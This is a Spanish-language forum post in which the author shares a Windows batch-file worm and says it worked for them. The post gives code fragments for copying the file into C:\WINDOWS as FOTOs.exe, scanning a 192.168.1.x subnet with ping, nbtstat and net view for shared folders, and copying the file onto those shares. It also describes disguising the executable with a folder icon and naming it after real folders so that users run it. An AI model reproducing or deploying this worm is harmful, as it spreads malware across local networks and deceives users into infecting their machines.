Ya q hablast de este tema voy a reponer mi idea q hace tiempo la publik por si t interesa...
1ro. Salvamos nuestro virus poniendolo en otra direccion,por q pueden q lo eliminen luego asi
set virus=%0
(copy "%virus%" C:\WINDOWS) y modificamos nuestra variable %virus%
(set virus=C:\WINDOWS\FOTOs.exe)
2ro. Obtenemos nuestra IP (set ip=192.168.1.4) esto nos sirve para no meternos a nuestra makina al hacer el escaneo
3ro. Desagrupamos nuestra %ip% asi (set ipx=192.168.1) sirve para el scaneo
::Escaneo::
For /L %%a in (1,1,255) do (
if %ip%==%ipx%.%%a (Si tu la ip es igual a la tuya no hacer nada) else ( verificar si tiene carpetas compartidas y tratar d copiar tu virus)
)
4to. Hacemos el escaneo buscando si alguna IP tiene un recurso compartido utilizando el ping %ip% si hay respuesta verificamos-->nbtstat -a %ip% si tiene find "<20>", net view %ip% -->Veremos sus recursos compartidos.., una ves obtenida la direccion exacta del recurso
(set mago=\\192.168.1.8\Datos) intentamos copiar nuestro virus... (copy %virus% %mago% >nul) segun los privilegios podriamos copiarlo sino intentamos con todos los q haigan...
5to. Podemos hacer una propagacion entera si camuflamos nuestro virus.. con un icono de carpeta y utilizando el "dir" buscamos solamente los nombres de carpetas
( dir /ad>dir.wzr) para luego mandar nuestro virus en ese direccion y renombrarlo con el mismo nombre de las carpetas uno por uno
set nombrecarpeta=Imagenes
(copy %virus% D:\ & ren FOTOs.exe "%nombrecarpeta%".exe )
set nombrecarpeta=Mis documentos
(copy %virus% D:\ & ren FOTOs.exe "%nombrecarpeta%".exe )
asi la ejecutaria cualkier ciego... comensaria de nuevo la propagacion
weno esa era mi idea...
Esto m funciono espero q les ayude... aunke hubieron kejas de q tardaba mucho la propagacion por las ips de 1.. hasta 255

salu2...